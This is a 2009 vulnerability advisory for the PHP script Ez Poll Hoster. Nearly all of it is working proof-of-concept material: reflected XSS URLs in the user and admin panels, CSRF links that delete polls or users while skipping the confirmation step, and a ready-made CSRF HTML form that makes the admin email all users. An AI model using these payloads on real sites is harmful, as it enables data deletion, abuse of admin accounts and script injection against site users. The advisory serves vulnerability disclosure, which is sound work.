Ez Poll Hoster XSS / XSRF

`[#-----------------------------------------------------------------------------------------------#]  
[#] Title: Ez Poll Hoster Multiple XSS and XSRF Vulnerabilities  
[#] Author: Milos Zivanovic  
[#] Email: milosz.security[at]gmail.com  
[#] Date: 14. December 2009.  
[#-----------------------------------------------------------------------------------------------#]  
[#] Application: Ez Poll Hoster  
[#] Version: the only one there is  
[#] Platform: PHP  
[#] Link: http://www.scriptsez.net/?action=details&cat=Polls%20and%20Voting&id=1193942206  
[#] Price: 15 USD  
[#] Vulnerability: Multiple XSS and XSRF Vulnerabilities  
[#-----------------------------------------------------------------------------------------------#]  
  
[#]Content  
|--User panel  
| |--XSS in user panel  
| |--Delete poll by name  
|  
|--Admin panel  
|--XSS in admin panel  
|--Delete user by name  
|--Email all users  
  
[#]User panel  
  
[-]XSS in user panel  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/eph/index.php?action=code&pid=[XSS]  
[POC----------------------------------------------------------------------------------------------]  
  
[-]Delete poll by name  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/eph/index.php?action=delete_poll&pid=[POLL  
NAME]&do=true&is_js_confirmed=1  
[POC----------------------------------------------------------------------------------------------]  
  
[#]Admin panel  
  
[-]XSS in admin panel  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/eph/profile.php?action=view&uid=[XSS]  
[POC----------------------------------------------------------------------------------------------]  
  
[-]Delete user by name  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/eph/admin.php?action=manage&do=delete&uid=[USER  
NAME]&is_js_confirmed=1  
[POC----------------------------------------------------------------------------------------------]  
  
[-]Email all users  
  
[EXPLOIT------------------------------------------------------------------------------------------]  
<form action="http://localhost/eph/admin.php?action=email&do=true"  
method="post">  
<input type="hidden" name="subject" value="this is my subject">  
<input type="hidden" name="message" value="this is my message">  
<input type="submit" name="submit" value="Submit">  
</form>  
[EXPLOIT------------------------------------------------------------------------------------------]  
  
[#] EOF  
`